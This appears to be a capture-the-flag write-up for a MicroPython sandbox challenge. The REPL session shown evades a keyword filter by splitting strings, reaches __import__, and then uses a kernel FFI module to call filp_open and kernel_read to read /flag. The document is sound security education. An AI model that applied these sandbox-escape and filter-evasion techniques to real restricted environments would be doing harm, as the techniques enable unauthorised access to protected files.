edit

Hack The Vote 2024: small snake

The flag is in /flag

Author: wait_what

We are given nc small-snake.chal.hackthe.vote 1337 to connect to a Python REPL. Upon connection, we are greeted with:

[advanced console]
  add_fake_votes(state, candidate, N)  ; it's really this simple
  create_distraction(magnitude)        ; just in case
  destroy_all_records()                ; ...

None of these functions seem to do anything when called, so let’s just move on… our goal is clearly to open and read /flag.

Let’s try just that:

> open("/flag")
[ERROR] illegal word:  open

Ah, of course it wouldn’t be that easy. We get our first clue here: illegal word implies they’re doing string filtering. Let’s see if we have eval:

> eval("1")
 1

So getting access to open should be easy, then, just split it up a bit, right?

> eval("op"+"en")
 <function>
> eval("op"+"en")("/flag")
>

Huh, no output? That’s weird. Let’s look at the builtins for good measure.

> builtins
 Traceback (most recent call last):
   File "<stdin>", line 1, in <module>
 NameError: name 'builtins' isn't defined
> import builtins
[ERROR] illegal word:  import

Ugh.

> eval("__imp"+"ort__")("builtins")
[ERROR] illegal word:  __

Ugh.

> U = lambda s: "_"+"_"+s+"_"+"_"
> Import = eval(U("imp"+"ort"))
> Import("builtins")
 <module 'builtins'>
> builtins = Import("builtins")
> help(builtins)
[ERROR] illegal word:  help
> Help = eval("he"+"lp")
> Help(builtins)
 object <module 'builtins'> is of type module
   __name__ -- builtins
   __build_class__ -- <function>
   __import__ -- <function>
   __repl_print__ -- <function>
   bool -- <class 'bool'>
   bytes -- <class 'bytes'>
   bytearray -- <class 'bytearray'>
   dict -- <class 'dict'>
   enumerate -- <class 'enumerate'>
   filter -- <class 'filter'>
   frozenset -- <class 'frozenset'>
   int -- <class 'int'>
   list -- <class 'list'>
   map -- <class 'map'>
   memoryview -- <class 'memoryview'>
   object -- <class 'object'>
   property -- <class 'property'>
   range -- <class 'range'>
   reversed -- <class 'reversed'>
   set -- <class 'set'>
   slice -- <class 'slice'>
   str -- <class 'str'>
   super -- <class 'super'>
   tuple -- <class 'tuple'>
   type -- <class 'type'>
   zip -- <class 'zip'>
   classmethod -- <class 'classmethod'>
   staticmethod -- <class 'staticmethod'>
   Ellipsis -- Ellipsis
   NotImplemented -- NotImplemented
   abs -- <function>
   all -- <function>
   any -- <function>
   bin -- <function>
   callable -- <function>
   chr -- <function>
   delattr -- <function>
   dir -- <function>
   divmod -- <function>
   eval -- <function>
   exec -- <function>
   getattr -- <function>
   setattr -- <function>
   globals -- <function>
   hasattr -- <function>
   hash -- <function>
   help -- <function>
   hex -- <function>
   id -- <function>
   isinstance -- <function>
   issubclass -- <function>
   iter -- <function>
   len -- <function>
   locals -- <function>
   max -- <function>
   min -- <function>
   next -- <function>
   oct -- <function>
   ord -- <function>
   pow -- <function>
   print -- <function>
   repr -- <function>
   round -- <function>
   sorted -- <function>
   sum -- <function>
   BaseException -- <class 'BaseException'>
   ArithmeticError -- <class 'ArithmeticError'>
   AssertionError -- <class 'AssertionError'>
   AttributeError -- <class 'AttributeError'>
   EOFError -- <class 'EOFError'>
   Exception -- <class 'Exception'>
   GeneratorExit -- <class 'GeneratorExit'>
   ImportError -- <class 'ImportError'>
   IndentationError -- <class 'IndentationError'>
   IndexError -- <class 'IndexError'>
   KeyboardInterrupt -- <class 'KeyboardInterrupt'>
   KeyError -- <class 'KeyError'>
   LookupError -- <class 'LookupError'>
   MemoryError -- <class 'MemoryError'>
   NameError -- <class 'NameError'>
   NotImplementedError -- <class 'NotImplementedError'>
   OSError -- <class 'OSError'>
   OverflowError -- <class 'OverflowError'>
   RuntimeError -- <class 'RuntimeError'>
   StopAsyncIteration -- <class 'StopAsyncIteration'>
   StopIteration -- <class 'StopIteration'>
   SyntaxError -- <class 'SyntaxError'>
   SystemExit -- <class 'SystemExit'>
   TypeError -- <class 'TypeError'>
   ValueError -- <class 'ValueError'>
   ZeroDivisionError -- <class 'ZeroDivisionError'>
   open -- <function>

Yeah, open’s at the end (and, remember, python iterates dicts in insertion order), so we can assume it’s been modified. After a bit more fucking around, I figure out how to get the list of all modules:

> Help("modules")
 __main__          kernel_ffi        uctypes           ustruct
 _thread           micropython       uerrno            usys
 builtins          uarray            uio               utime
 gc                ucollections      umachine
 Plus any modules on the filesystem

Ah, it’s micropython. That’s why my previous attempts to import things like dis all failed (and why the challenge is called small snake).

My first instinct was to import and use uio to open the file, but that also ended up being a dead end – exhibiting the same behaviour at the builtins’ open.

There’s something else weird here, though: kernel_ffi. That doesn’t seem to be part of the micropython docs. What’s up with that?

Let’s search GitHub for uses of kernel_ffi in Python… And the only results are some sample code for a fork of micropython.

So. Python in the Linux kernel? Sure, why not. Well, let’s not waste any time:

> Help(Import("kernel_ffi"))
 object <module 'kernel_ffi'> is of type module
   __name__ -- kernel_ffi
   auto_globals -- <function>
   symbol -- <function>
   Symbol -- <class 'Symbol'>
   str -- <function>
   bytes -- <function>
   p8 -- <function>
   p16 -- <function>
   p32 -- <function>
   p64 -- <function>
   kmalloc -- <function>
   current -- <function>
   kprobe -- <function>
   KP_ARGS_MODIFY -- 0
   KP_ARGS_WATCH -- 1
   KP_REGS_MODIFY -- 2
   KP_REGS_WATCH -- 3
   callback -- <function>

Obviously, kmalloc allocates memory, but looking at the code, we can see p8-p64 are arbitrary read-write, str makes a python string from arbitrary memory, and symbol allows us to call any function in the kernel.

From this point, it becomes obvious what to do: do whatever the kernel can do to read a file. After a bit of googling, it seems the answer to that is struct file *filp_open(const char *filename, int flags, umode_t mode) and ssize_t kernel_read(struct file *file, void *buf, size_t count, loff_t *pos).

So let’s do that: allocate a buffer to write into and our pos (which we initialize to 0) for good measure since it’s asking us for a pointer. Open /flag, read into the buffer, read the buffer as a python string…

> ffi = Import("kernel_ffi")
> buf = ffi.kmalloc(1024)
> off = ffi.kmalloc(8)
> ffi.p64(off, 0)
> f = ffi.symbol("filp_ope"+"n")("/flag",0,420)
> ffi.symbol("kernel_re"+"ad")(f, buf, 1024, off)
 45
> ffi.str(buf)
 'flag{its_like_rust_in_the_kernel_but_better}\n'

… And that’s our flag!


HomeAboutContact